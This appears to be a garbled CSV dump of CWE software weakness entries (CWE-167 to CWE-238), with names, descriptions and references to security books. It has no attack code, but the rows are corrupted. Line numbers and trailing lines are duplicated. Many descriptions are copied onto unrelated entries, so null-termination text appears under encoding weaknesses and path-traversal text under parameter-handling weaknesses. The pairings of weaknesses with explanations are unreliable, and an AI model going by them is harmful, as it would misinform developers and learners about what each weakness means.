852852 CWE-167,Improper Handling of Additional Special Element (Type: Base),"The software receives input from an upstream component, but it does not handle or incorrectly handles when an additional unexpected special element is missing.
853 As data is parsed, improperly handled multiple internal special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
853 As data is parsed, improperly handled multiple internal special elements may cause the process to take unexpected actions that result in an attack.",,unclassified,
854854 CWE-168,Improper Handling of Inconsistent Special Elements (Type: Base),"The software does not handle when an inconsistency exists between two or more special characters or reserved words.
855 An example of this problem would be if paired characters appear in the wrong order, or if the special characters are not properly nested.",,unclassified,
855 An example of this problem would be if paired characters appear in the wrong order, or if the special characters are not properly nested.",,unclassified,
856856 CWE-172,Encoding Error (Type: Class),"The software does not properly encode or decode the data, resulting in unexpected values.
857 Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.",,unclassified,
857 Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.",,unclassified,
858858 CWE-173,Improper Handling of Alternate Encoding (Type: Variant),"The software does not properly handle when an input uses an alternate encoding that is valid for the control sphere to which the input is being sent.
859 Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.",,unclassified,
859 Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.",,unclassified,
860860 CWE-174,Double Decoding of the Same Data (Type: Variant),"The software decodes the same input twice, which can limit the effectiveness of any protection mechanism that occurs in between the decoding operations.
861 Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.",,unclassified,
861 Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.",,unclassified,
862862 CWE-175,Improper Handling of Mixed Encoding (Type: Variant),"The software does not properly handle when the same input uses several different (mixed) encodings.
863 Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.",,unclassified,
863 Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.",,unclassified,
864864 CWE-176,Improper Handling of Unicode Encoding (Type: Variant),"The software does not properly handle when an input contains Unicode encoding.
865 Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Character Sets and Unicode"", Page 446."
865 Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Character Sets and Unicode"", Page 446."
866866 CWE-177,Improper Handling of URL Encoding (Hex Encoding) (Type: Variant),"The software does not properly handle when all or part of an input has been URL encoded.
867 Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.",,unclassified,
867 Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.",,unclassified,
868868 CWE-178,Improper Handling of Case Sensitivity (Type: Base),"The software does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.
869869 Improperly handled case sensitive data can lead to several possible consequences, including:
870870 case-insensitive passwords reducing the size of the key space, making brute force attacks easier
871871 bypassing filters or access controls using alternate names
872 multiple interpretation errors using alternate names.",,unclassified,
872 multiple interpretation errors using alternate names.",,unclassified,
873873 CWE-179,Incorrect Behavior Order: Early Validation (Type: Base),"The software validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.
874 Software needs to validate data at the proper time, after data has been canonicalized and cleansed. Early validation is susceptible to various manipulations that result in dangerous inputs that are produced by canonicalization and cleansing.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Escaping Metacharacters"", Page 439."
874 Software needs to validate data at the proper time, after data has been canonicalized and cleansed. Early validation is susceptible to various manipulations that result in dangerous inputs that are produced by canonicalization and cleansing.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Escaping Metacharacters"", Page 439."
875875 CWE-180,Incorrect Behavior Order: Validate Before Canonicalize (Type: Base),"The software validates input before it is canonicalized, which prevents the software from detecting data that becomes invalid after the canonicalization step.
876 This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.",,unclassified,
876 This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.",,unclassified,
877877 CWE-181,Incorrect Behavior Order: Validate Before Filter (Type: Base),"The software validates data before it has been filtered, which prevents the software from detecting data that becomes invalid after the filtering step.
878 This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.",,unclassified,
878 This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.",,unclassified,
879879 CWE-182,Collapse of Data into Unsafe Value (Type: Base),"The software filters data in a way that causes it to be reduced or ""collapsed"" into an unsafe value that violates an expected security property.
880 This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Character Stripping Vulnerabilities"", Page 437."
880 This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Character Stripping Vulnerabilities"", Page 437."
881881 CWE-183,Permissive Whitelist (Type: Base),"An application uses a ""whitelist"" of acceptable values, but the whitelist includes at least one unsafe value, leading to resultant weaknesses.
882 This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Eliminating Metacharacters"", Page 435."
882 This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.",,unclassified,"The Art of Software Security Assessment: Chapter 8, ""Eliminating Metacharacters"", Page 435."
883883 CWE-184,Incomplete Blacklist (Type: Base),"An application uses a ""blacklist"" of prohibited values, but the blacklist is incomplete.
884884 If an incomplete blacklist is used as a security mechanism, then the software may allow unintended values to pass into the application logic.",,unclassified,"Exploiting Software: How to Break Code
885885 Blacklist defenses as a breeding ground for vulnerability variants: http://seclists.org/fulldisclosure/2006/Feb/0040.html
886 The Art of Software Security Assessment: Chapter 8, ""Eliminating Metacharacters"", Page 435."
886 The Art of Software Security Assessment: Chapter 8, ""Eliminating Metacharacters"", Page 435."
887887 CWE-185,Incorrect Regular Expression (Type: Class),"The software specifies a regular expression in a way that causes data to be improperly matched or compared.
888 When the regular expression is used in protection mechanisms such as filtering or validation, this may allow an attacker to bypass the intended restrictions on the incoming data.",,unclassified,"Writing Secure Code: Chapter 10, ""Using Regular Expressions for Checking Input"" Page 350"
888 When the regular expression is used in protection mechanisms such as filtering or validation, this may allow an attacker to bypass the intended restrictions on the incoming data.",,unclassified,"Writing Secure Code: Chapter 10, ""Using Regular Expressions for Checking Input"" Page 350"
889889 CWE-186,Overly Restrictive Regular Expression (Type: Base),"A regular expression is overly restrictive, which prevents dangerous values from being detected.
890 When the regular expression is used in protection mechanisms such as filtering or validation, this may allow an attacker to bypass the intended restrictions on the incoming data.",,unclassified,
890 When the regular expression is used in protection mechanisms such as filtering or validation, this may allow an attacker to bypass the intended restrictions on the incoming data.",,unclassified,
891891 CWE-187,Partial Comparison (Type: Base),"The software performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.
892 For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.",,unclassified,
892 For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.",,unclassified,
893893 CWE-191,Integer Underflow (Wrap or Wraparound) (Type: Base),"The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.
894 This can happen in signed and unsigned cases.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 7: Integer Overflows."" Page 119"
894 This can happen in signed and unsigned cases.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 7: Integer Overflows."" Page 119"
895895 CWE-193,Off-by-one Error (Type: Base),"A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.
896896 This can happen in signed and unsigned cases.",,unclassified,"Third Generation Exploits: http://www.blackhat.com/presentations/bh-europe-01/halvar-flake/bh-europe-01-halvarflake.ppt
897897 Off-by-one errors: a brief explanation: http://marc.theaimsgroup.com/?l=secprog&m=108379742110553&w=2
898898 The Frame Pointer Overwrite: http://kaizo.org/mirrors/phrack/phrack55/P55-08
899899 Exploiting Software: How to Break Code (The buffer overflow chapter)
900900 24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89
901 The Art of Software Security Assessment: Chapter 5, ""Off-by-One Errors"", Page 180."
901 The Art of Software Security Assessment: Chapter 5, ""Off-by-One Errors"", Page 180."
902902 CWE-195,Signed to Unsigned Conversion Error (Type: Variant),"A signed-to-unsigned conversion error takes place when a signed primitive is used as an unsigned value, usually as a size variable.
903 It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program.",,unclassified,"The Art of Software Security Assessment: Chapter 6, ""Type Conversions"", Page 223."
903 It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program.",,unclassified,"The Art of Software Security Assessment: Chapter 6, ""Type Conversions"", Page 223."
904904 CWE-198,Use of Incorrect Byte Ordering (Type: Base),"The software receives input from an upstream component, but it does not account for byte ordering (e.g. big-endian and little-endian) when processing the input, causing an incorrect number or value to be used.
905 When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.",,unclassified,
905 When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.",,unclassified,
906906 CWE-201,Information Exposure Through Sent Data (Type: Variant),"The accidental exposure of sensitive information through sent data refers to the transmission of data which are either sensitive in and of itself or useful in the further exploitation of the system through standard data channels.
907907 The information either
908908 is regarded as sensitive within the product's own functionality, such as a private message; or
909909 provides information about the product or its environment that could be useful in an attack but is normally not available to the attacker, such as the installation path of a product that is remotely accessible.
910 Many information exposures are resultant (e.g. PHP script error revealing the full path of the program), but they can also be primary (e.g. timing discrepancies in cryptography). There are many different types of problems that involve information exposures. Their severity can range widely depending on the type of information that is revealed.",,unclassified,
910 Many information exposures are resultant (e.g. PHP script error revealing the full path of the program), but they can also be primary (e.g. timing discrepancies in cryptography). There are many different types of problems that involve information exposures. Their severity can range widely depending on the type of information that is revealed.",,unclassified,
911911 CWE-203,Information Exposure Through Discrepancy (Type: Class),"The product behaves differently or sends different responses in a way that exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.
912 In situations where data should not be tied to individual users, but a large number of users should be able to make queries that ""scrub"" the identity of users, it may be possible to get information about a user -- e.g., by specifying search terms that are known to be unique to that user.",,unclassified,
912 In situations where data should not be tied to individual users, but a large number of users should be able to make queries that ""scrub"" the identity of users, it may be possible to get information about a user -- e.g., by specifying search terms that are known to be unique to that user.",,unclassified,
913913 CWE-204,Response Discrepancy Information Exposure (Type: Base),"The software provides different responses to incoming requests in a way that allows an actor to determine system state information that is outside of that actor's control sphere.
914 This issue frequently occurs during authentication, where a difference in failed-login messages could allow an attacker to determine if the username is valid or not. These exposures can be inadvertent (bug) or intentional (design).",,unclassified,"24 Deadly Sins of Software Security: ""Sin 12: Information Leakage."" Page 191"
914 This issue frequently occurs during authentication, where a difference in failed-login messages could allow an attacker to determine if the username is valid or not. These exposures can be inadvertent (bug) or intentional (design).",,unclassified,"24 Deadly Sins of Software Security: ""Sin 12: Information Leakage."" Page 191"
915915 CWE-205,Information Exposure Through Behavioral Discrepancy (Type: Base),"The product's actions indicate important differences based on (1) the internal state of the product or (2) differences from other products in the same class.
916 For example, attacks such as OS fingerprinting rely heavily on both behavioral and response discrepancies.",,unclassified,
916 For example, attacks such as OS fingerprinting rely heavily on both behavioral and response discrepancies.",,unclassified,
917917 CWE-206,Information Exposure of Internal State Through Behavioral Inconsistency (Type: Variant),"Two separate operations in a product cause the product to behave differently in a way that is observable to an attacker and reveals security-relevant information about the internal state of the product, such as whether a particular operation was successful or not.
918 For example, attacks such as OS fingerprinting rely heavily on both behavioral and response discrepancies.",,unclassified,
918 For example, attacks such as OS fingerprinting rely heavily on both behavioral and response discrepancies.",,unclassified,
919919 CWE-207,Information Exposure Through an External Behavioral Inconsistency (Type: Variant),"The product behaves differently than other products like it, in a way that is observable to an attacker and exposes security-relevant information about which product is being used.
920 For example, attacks such as OS fingerprinting rely heavily on both behavioral and response discrepancies.",,unclassified,
920 For example, attacks such as OS fingerprinting rely heavily on both behavioral and response discrepancies.",,unclassified,
921921 CWE-208,Information Exposure Through Timing Discrepancy (Type: Base),"Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.
922 For example, attacks such as OS fingerprinting rely heavily on both behavioral and response discrepancies.",,unclassified,
922 For example, attacks such as OS fingerprinting rely heavily on both behavioral and response discrepancies.",,unclassified,
923923 CWE-210,Information Exposure Through Self-generated Error Message (Type: Base),"The software identifies an error condition and creates its own diagnostic or error messages that contain sensitive information.
924924 The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more deadly attacks. If an attack fails, an attacker may use error information provided by the server to launch another more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of "".."" sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 12: Information Leakage."" Page 191
925 The Art of Software Security Assessment: Chapter 3, ""Overly Verbose Error Messages"", Page 75."
925 The Art of Software Security Assessment: Chapter 3, ""Overly Verbose Error Messages"", Page 75."
926926 CWE-211,Information Exposure Through Externally-generated Error Message (Type: Base),"The software performs an operation that triggers an external diagnostic or error message that is not directly generated by the software, such as an error generated by the programming language interpreter that the software uses. The error can contain sensitive system information.
927 The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more deadly attacks. If an attack fails, an attacker may use error information provided by the server to launch another more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of "".."" sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.",,unclassified,
927 The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more deadly attacks. If an attack fails, an attacker may use error information provided by the server to launch another more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of "".."" sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.",,unclassified,
928928 CWE-212,Improper Cross-boundary Removal of Sensitive Data (Type: Base),"The software uses a resource that contains sensitive data, but it does not properly remove that data before it stores, transfers, or shares the resource with actors in another control sphere.
929929 Resources that may contain sensitive data include documents, packets, messages, databases, etc. While this data may be useful to an individual user or small set of users who share the resource, it may need to be removed before the resource can be shared outside of the trusted group. The process of removal is sometimes called cleansing or scrubbing.
930 For example, software that is used for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.",,unclassified,
930 For example, software that is used for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.",,unclassified,
931931 CWE-213,Intentional Information Exposure (Type: Base),"A product's design or configuration explicitly requires the publication of information that could be regarded as sensitive by an administrator.
932932 Resources that may contain sensitive data include documents, packets, messages, databases, etc. While this data may be useful to an individual user or small set of users who share the resource, it may need to be removed before the resource can be shared outside of the trusted group. The process of removal is sometimes called cleansing or scrubbing.
933 For example, software that is used for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.",,unclassified,
933 For example, software that is used for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.",,unclassified,
934934 CWE-214,Information Exposure Through Process Environment (Type: Variant),"A process is invoked with sensitive arguments, environment variables, or other elements that can be seen by other processes on the operating system.
935 Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.",,unclassified,
935 Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.",,unclassified,
936936 CWE-215,Information Exposure Through Debug Information (Type: Variant),"The application contains debugging code that can expose sensitive information to untrusted parties.
937 Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.",,unclassified,
937 Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.",,unclassified,
938938 CWE-216,Containment Errors (Container Errors) (Type: Class),"This tries to cover various problems in which improper data are included within a ""container.""
939 Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.",,unclassified,
939 Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.",,unclassified,
940940 CWE-217,DEPRECATED: Failure to Protect Stored Data from Modification (Type: Base),"This weakness has been deprecated because it incorporated and confused multiple weaknesses. The issues formerly covered in this weakness can be found at CWE-766 and CWE-767.
941 Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.",,unclassified,
941 Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.",,unclassified,
942942 CWE-218,DEPRECATED (Duplicate): Failure to provide confidentiality for stored data (Type: Base),"This weakness has been deprecated because it was a duplicate of CWE-493. All content has been transferred to CWE-493.
943 Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.",,unclassified,
943 Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.",,unclassified,
944944 CWE-219,Sensitive Data Under Web Root (Type: Variant),"The application stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.
945 Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.",,unclassified,
945 Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.",,unclassified,
946946 CWE-220,Sensitive Data Under FTP Root (Type: Variant),"The application stores sensitive data under the FTP document root with insufficient access control, which might make it accessible to untrusted parties.
947947 Many file operations are intended to take place within a restricted directory. By using special elements such as "".."" and ""/"" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the ""../"" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as ""/usr/local/bin"", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.
948 In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add "".txt"" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.",,unclassified,
948 In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add "".txt"" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.",,unclassified,
949949 CWE-221,Information Loss or Omission (Type: Class),"The software does not record, or improperly records, security-relevant information that leads to an incorrect decision or hampers later analysis.
950 This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.",,unclassified,
950 This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.",,unclassified,
951951 CWE-222,Truncation of Security-relevant Information (Type: Base),"The application truncates the display, recording, or processing of security-relevant information in a way that can obscure the source or nature of an attack.
952 This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.",,unclassified,
952 This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.",,unclassified,
953953 CWE-223,Omission of Security-relevant Information (Type: Base),"The application does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe.
954 This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.",,unclassified,"The Art of Software Security Assessment: Chapter 2, ""Accountability"", Page 40."
954 This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.",,unclassified,"The Art of Software Security Assessment: Chapter 2, ""Accountability"", Page 40."
955955 CWE-224,Obscured Security-relevant Information by Alternate Name (Type: Base),"The software records security-relevant information according to an alternate name of the affected entity, instead of the canonical name.
956 This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.",,unclassified,Writing Secure Code
956 This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.",,unclassified,Writing Secure Code
957957 CWE-225,DEPRECATED (Duplicate): General Information Management Problems (Type: Base),"This weakness can be found at CWE-199.
958 This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.",,unclassified,
958 This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.",,unclassified,
959959 CWE-226,Sensitive Information Uncleared Before Release (Type: Base),"The software does not fully clear previously used information in a data structure, file, or other resource, before making that resource available to a party in another control sphere.
960 This typically results from new data that is not as long as the old data, which leaves portions of the old data still available. Equivalent errors can occur in other situations where the length of data is variable but the associated data structure is not. If memory is not cleared after use, it may allow unintended actors to read the data when the memory is reallocated.",,unclassified,
960 This typically results from new data that is not as long as the old data, which leaves portions of the old data still available. Equivalent errors can occur in other situations where the length of data is variable but the associated data structure is not. If memory is not cleared after use, it may allow unintended actors to read the data when the memory is reallocated.",,unclassified,
961961 CWE-227,Improper Fulfillment of API Contract (API Abuse) (Type: Class),"The software uses an API in a manner contrary to its intended use.
962 An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call chdir() after calling chroot(), it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses SecureRandom and returns a non-random value, the contract is violated.",,unclassified,
962 An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call chdir() after calling chroot(), it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses SecureRandom and returns a non-random value, the contract is violated.",,unclassified,
963963 CWE-228,Improper Handling of Syntactically Invalid Structure (Type: Class),"The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.
964 An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call chdir() after calling chroot(), it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses SecureRandom and returns a non-random value, the contract is violated.",,unclassified,
964 An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call chdir() after calling chroot(), it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses SecureRandom and returns a non-random value, the contract is violated.",,unclassified,
965965 CWE-229,Improper Handling of Values (Type: Base),"The software does not properly handle when the expected number of values for parameters, fields, or arguments is not provided in input, or if those values are undefined.
966 An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call chdir() after calling chroot(), it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses SecureRandom and returns a non-random value, the contract is violated.",,unclassified,
966 An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call chdir() after calling chroot(), it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses SecureRandom and returns a non-random value, the contract is violated.",,unclassified,
967967 CWE-23,Relative Path Traversal (Type: Base),"The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as "".."" that can resolve to a location that is outside of that directory.
968968 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,"OWASP Attack listing: http://www.owasp.org/index.php/Relative_Path_Traversal
969 The Art of Software Security Assessment: Chapter 9, ""Filenames and Paths"", Page 503."
969 The Art of Software Security Assessment: Chapter 9, ""Filenames and Paths"", Page 503."
970970 CWE-230,Improper Handling of Missing Values (Type: Variant),"The software does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null.
971 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
971 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
972972 CWE-231,Improper Handling of Extra Values (Type: Variant),"The software does not handle or incorrectly handles when more values are provided than expected.
973 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
973 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
974974 CWE-232,Improper Handling of Undefined Values (Type: Variant),"The software does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name.
975 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
975 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
976976 CWE-233,Improper Handling of Parameters (Type: Base),"The software does not properly handle when the expected number of parameters, fields, or arguments is not provided in input, or if those parameters are undefined.
977 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
977 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
978978 CWE-235,Improper Handling of Extra Parameters (Type: Variant),"The software does not handle or incorrectly handles when the number of parameters, fields, or arguments with the same name exceeds the expected amount.
979 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
979 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
980980 CWE-236,Improper Handling of Undefined Parameters (Type: Variant),"The software does not handle or incorrectly handles when a particular parameter, field, or argument name is not defined or supported by the product.
981 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
981 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
982982 CWE-237,Improper Handling of Structural Elements (Type: Base),"The software does not handle or incorrectly handles inputs that are related to complex structures.
983 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
983 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
984984 CWE-238,Improper Handling of Incomplete Structural Elements (Type: Variant),"The software does not handle or incorrectly handles when a particular structural element is not completely specified.
